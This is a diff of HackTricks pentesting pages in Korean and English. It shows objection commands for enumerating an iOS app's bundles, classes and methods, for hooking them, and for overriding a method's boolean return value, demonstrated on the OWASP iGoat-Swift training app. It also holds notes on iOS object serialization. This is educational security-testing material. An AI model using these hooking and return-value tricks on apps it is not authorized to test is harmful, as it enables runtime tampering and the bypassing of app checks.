|
# Basic Enumeration of the app
|
||||||
|
|
||||||
## 로컬 앱 경로
|
## Local App Paths
|
||||||
|
|
||||||
* `env`: 디바이스 내부에 애플리케이션이 저장된 경로를 찾습니다.
|
* `env`: Find the paths where the application is stored inside the device
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
env
|
env
|
||||||
|
@ -38,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
||||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||||
```
|
```
|
||||||
|
|
||||||
## 번들, 프레임워크 및 라이브러리 목록
|
## List Bundles, frameworks and libraries
|
||||||
|
|
||||||
* `ios bundles list_bundles`: 애플리케이션의 번들 목록을 나열합니다.
|
* `ios bundles list_bundles`: List bundles of the application
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_bundles
|
ios bundles list_bundles
|
||||||
|
@ -49,7 +50,7 @@ Executable Bundle Version Path
|
||||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||||
```
|
```
|
||||||
* `ios bundles list_frameworks`: 애플리케이션이 사용하는 외부 프레임워크 목록을 나열합니다.
|
* `ios bundles list_frameworks`: List external frameworks used by the application
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_frameworks
|
ios bundles list_frameworks
|
||||||
|
@ -76,7 +77,7 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
||||||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
* `memory list modules`: 메모리에 로드된 모듈 목록을 나열합니다.
|
* `memory list modules`: List loaded modules in memory
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list modules
|
memory list modules
|
||||||
|
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
|
||||||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
* `memory list exports <module_name>`: 로드된 모듈의 익스포트 목록
|
* `memory list exports <module_name>`: Exports of a loaded module
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list exports iGoat-Swift
|
memory list exports iGoat-Swift
|
||||||
|
@ -115,9 +116,10 @@ variable _ZTVN9couchbase6differ10BaseDifferE
|
||||||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
## 앱의 클래스 목록
|
|
||||||
|
|
||||||
* `ios hooking list classes`: 앱의 클래스 목록을 나열합니다.
|
## List classes of an APP
|
||||||
|
|
||||||
|
* `ios hooking list classes`: List classes of the app
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list classes
|
ios hooking list classes
|
||||||
|
@ -135,8 +137,7 @@ AAAppleTVRequest
|
||||||
AAAttestationSigner
|
AAAttestationSigner
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
* `ios hooking search classes <search_term>`: Search a class that contains a string. You can **search some uniq term that is related to the main app package** name to find the main classes of the app like in the example:
|
||||||
* `ios hooking search classes <search_term>`: 문자열을 포함하는 클래스를 검색합니다. 예제에서와 같이 **주요 앱 패키지와 관련된 고유한 용어**를 검색하여 앱의 주요 클래스를 찾을 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search classes iGoat
|
ios hooking search classes iGoat
|
||||||
|
@ -154,9 +155,9 @@ iGoat_Swift.MemoryManagementVC
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
## 클래스 메서드 목록
|
## List class methods
|
||||||
|
|
||||||
* `ios hooking list class_methods`: 특정 클래스의 메서드를 나열합니다.
|
* `ios hooking list class_methods`: List methods of a specific class
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||||
|
@ -170,8 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||||
- initWithValue:
|
- initWithValue:
|
||||||
- setCardNumber:
|
- setCardNumber:
|
||||||
```
|
```
|
||||||
|
* `ios hooking search methods <search_term>`: Search a method that contains a string
|
||||||
* `ios hooking search methods <search_term>`: 문자열을 포함하는 메서드를 검색합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking search methods cvv
|
ios hooking search methods cvv
|
||||||
|
@ -188,35 +188,35 @@ ios hooking search methods cvv
|
||||||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||||
```
|
```
|
||||||
|
|
||||||
# 기본적인 Hooking
|
# Basic Hooking
|
||||||
|
|
||||||
애플리케이션에서 사용되는 클래스와 모듈을 **열거했다면 흥미로운 클래스와 메서드 이름**을 찾을 수 있습니다.
|
Now that you have **enumerated the classes and modules** used by the application you may have found some **interesting class and method names**.
|
||||||
|
|
||||||
## 클래스의 모든 메서드 Hooking
|
## Hook all methods of a class
|
||||||
|
|
||||||
* `ios hooking watch class <class_name>`: 클래스의 모든 메서드를 Hooking하고, 호출될 때마다 모든 초기 매개변수와 반환값을 덤프합니다.
|
* `ios hooking watch class <class_name>`: Hook all the methods of a class, dump all the initial parameters and returns
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||||
```
|
```
|
||||||
|
|
||||||
## 단일 메서드 Hooking
|
## Hook a single method
|
||||||
|
|
||||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 특정 클래스의 메서드를 Hooking하고, 호출될 때마다 매개변수, 백트레이스 및 반환값을 덤프합니다.
|
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook an specific method of a class dumping the parameters, backtraces and returns of the method each time it's called
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||||
```
|
```
|
||||||
|
|
||||||
## Boolean 반환값 변경
|
## Change Boolean Return
|
||||||
|
|
||||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: 선택한 메서드가 지정된 boolean 값을 반환하도록 설정합니다.
|
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: This will make the selected method return the indicated boolean
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||||
```
|
```
|
||||||
|
|
||||||
## Hooking 템플릿 생성
|
## Generate hooking template
|
||||||
|
|
||||||
* `ios hooking generate simple <class_name>`:
|
* `ios hooking generate simple <class_name>`:
|
||||||
|
|
||||||
|
@ -266,16 +266,17 @@ console.log('Leaving - setCvv:');
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사를 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요. 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,36 @@
|
||||||
<details>
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
# WebView 프로토콜 핸들러
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
|
# WebView 프로토콜 핸들러들
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
코드 및 자세한 정보는 [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)에서 확인할 수 있습니다.
|
Code and more information in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||||
|
|
||||||
## iOS 개발에서의 객체 직렬화
|
## iOS 개발에서의 객체 직렬화
|
||||||
|
|
||||||
iOS에서 **객체 직렬화**는 객체를 쉽게 저장하거나 전송할 수 있는 형식으로 변환한 다음, 필요할 때 이 형식에서 객체를 재구성하는 과정을 의미합니다. **`NSCoding`**과 **`NSSecureCoding`**이라는 두 가지 주요 프로토콜은 Objective-C 또는 `NSObject` 하위 클래스를 위해 이 프로세스를 용이하게 해주며, 객체를 바이트 버퍼를 감싸는 **`NSData`** 형식으로 직렬화할 수 있게 합니다.
|
iOS에서 **객체 직렬화**는 객체를 쉽게 저장하거나 전송할 수 있는 형식으로 변환한 다음, 필요할 때 이 형식에서 다시 재구성하는 과정을 포함합니다. 두 가지 주요 프로토콜인 **`NSCoding`**과 **`NSSecureCoding`**은 Objective-C 또는 `NSObject` 서브클래스에 대해 이 과정을 용이하게 하여 객체를 **`NSData`**로 직렬화할 수 있게 합니다. 이는 바이트 버퍼를 감싸는 형식입니다.
|
||||||
|
|
||||||
### **`NSCoding`** 구현
|
### **`NSCoding`** 구현
|
||||||
`NSCoding`을 구현하기 위해서는 클래스가 `NSObject`를 상속하거나 `@objc`로 표시되어야 합니다. 이 프로토콜은 인스턴스 변수를 인코딩하고 디코딩하기 위해 두 가지 메서드의 구현을 필요로 합니다:
|
`NSCoding`을 구현하려면 클래스가 `NSObject`에서 상속받거나 `@objc`로 표시되어야 합니다. 이 프로토콜은 인스턴스 변수를 인코딩하고 디코딩하기 위한 두 가지 메서드의 구현을 요구합니다:
|
||||||
```swift
|
```swift
|
||||||
class CustomPoint: NSObject, NSCoding {
|
class CustomPoint: NSObject, NSCoding {
|
||||||
var x: Double = 0.0
|
var x: Double = 0.0
|
||||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **`NSSecureCoding`을 사용하여 보안 강화하기**
|
### **`NSSecureCoding`로 보안 강화하기**
|
||||||
공격자가 이미 구성된 객체에 데이터를 주입하는 취약점을 완화하기 위해 **`NSSecureCoding`**은 향상된 프로토콜을 제공합니다. `NSSecureCoding`을 준수하는 클래스는 디코딩 중에 객체의 유형을 확인하여 예상된 객체 유형만 인스턴스화되도록 보장해야 합니다. 그러나 `NSSecureCoding`은 데이터를 암호화하거나 무결성을 보장하지 않기 때문에 민감한 정보를 보호하기 위해 추가적인 조치가 필요하다는 점을 주의해야 합니다:
|
공격자가 이미 구성된 객체에 데이터를 주입하는 취약점을 완화하기 위해, **`NSSecureCoding`**은 향상된 프로토콜을 제공합니다. `NSSecureCoding`에 준수하는 클래스는 디코딩 중 객체의 유형을 확인해야 하며, 예상되는 객체 유형만 인스턴스화되도록 보장합니다. 그러나 `NSSecureCoding`이 유형 안전성을 향상시키는 동안 데이터 암호화나 무결성을 보장하지 않으므로, 민감한 정보를 보호하기 위한 추가 조치가 필요합니다:
|
||||||
```swift
|
```swift
|
||||||
static var supportsSecureCoding: Bool {
|
static var supportsSecureCoding: Bool {
|
||||||
return true
|
return true
|
||||||
|
@ -45,42 +46,42 @@ return true
|
||||||
|
|
||||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||||
```
|
```
|
||||||
## `NSKeyedArchiver`를 사용한 데이터 아카이빙
|
## Data Archiving with `NSKeyedArchiver`
|
||||||
`NSKeyedArchiver`와 그 상대인 `NSKeyedUnarchiver`는 객체를 파일로 인코딩하고 나중에 검색하는 기능을 제공합니다. 이 메커니즘은 객체를 영구적으로 저장하는 데 유용합니다:
|
`NSKeyedArchiver`와 그 대응인 `NSKeyedUnarchiver`는 객체를 파일로 인코딩하고 나중에 이를 검색할 수 있게 해줍니다. 이 메커니즘은 객체를 지속적으로 저장하는 데 유용합니다:
|
||||||
```swift
|
```swift
|
||||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||||
```
|
```
|
||||||
### `Codable`을 사용한 간소화된 직렬화
|
### Using `Codable` for Simplified Serialization
|
||||||
Swift의 `Codable` 프로토콜은 `Decodable`과 `Encodable`을 결합하여 `String`, `Int`, `Double` 등과 같은 객체의 인코딩과 디코딩을 추가 노력 없이 용이하게 처리합니다:
|
Swift의 `Codable` 프로토콜은 `Decodable`과 `Encodable`을 결합하여 `String`, `Int`, `Double` 등과 같은 객체의 인코딩 및 디코딩을 추가적인 노력 없이 용이하게 합니다:
|
||||||
```swift
|
```swift
|
||||||
struct CustomPointStruct: Codable {
|
struct CustomPointStruct: Codable {
|
||||||
var x: Double
|
var x: Double
|
||||||
var name: String
|
var name: String
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
이 접근 방식은 Swift 애플리케이션에서 데이터 처리를 향상시키기 위해 속성 목록과 JSON으로의 직렬화를 지원합니다.
|
이 접근 방식은 속성 목록 및 JSON으로의 간단한 직렬화를 지원하여 Swift 애플리케이션의 데이터 처리를 향상시킵니다.
|
||||||
|
|
||||||
## JSON 및 XML 인코딩 대안
|
## JSON 및 XML 인코딩 대안
|
||||||
네이티브 지원 외에도, 여러 제3자 라이브러리가 JSON 및 XML 인코딩/디코딩 기능을 제공하며, 각각의 성능 특성과 보안 고려 사항이 있습니다. 외부 엔티티 처리를 방지하기 위해 파서를 구성하여 XXE (XML External Entities) 공격과 같은 취약점을 완화하는 데 특히 주의해야 합니다.
|
네이티브 지원 외에도 여러 서드파티 라이브러리가 JSON 및 XML 인코딩/디코딩 기능을 제공하며, 각 라이브러리는 고유한 성능 특성과 보안 고려 사항을 가지고 있습니다. 이러한 라이브러리를 신중하게 선택하는 것이 중요하며, 특히 외부 엔티티 처리를 방지하기 위해 파서를 구성하여 XXE(XML External Entities) 공격과 같은 취약점을 완화해야 합니다.
|
||||||
|
|
||||||
### 보안 고려 사항
|
### 보안 고려 사항
|
||||||
데이터를 직렬화할 때, 특히 파일 시스템으로, 민감한 정보의 포함 가능성에 대해 주의해야 합니다. 가로채거나 부적절하게 처리된 직렬화된 데이터는 무단 조치나 데이터 유출과 같은 위험에 애플리케이션을 노출시킬 수 있습니다. 직렬화된 데이터의 암호화와 서명을 권장하여 보안을 강화하는 것이 좋습니다.
|
데이터를 직렬화할 때, 특히 파일 시스템으로 직렬화할 때는 민감한 정보가 포함될 가능성에 대해 경계를 유지하는 것이 필수적입니다. 직렬화된 데이터는 가로채이거나 부적절하게 처리될 경우 애플리케이션을 무단 작업이나 데이터 유출과 같은 위험에 노출시킬 수 있습니다. 보안을 강화하기 위해 직렬화된 데이터를 암호화하고 서명하는 것이 권장됩니다.
|
||||||
|
|
||||||
|
## References
|
||||||
## 참고 자료
|
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,78 +1,80 @@
|
||||||
# iOS UIActivity 공유
|
# iOS UIActivity Sharing
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
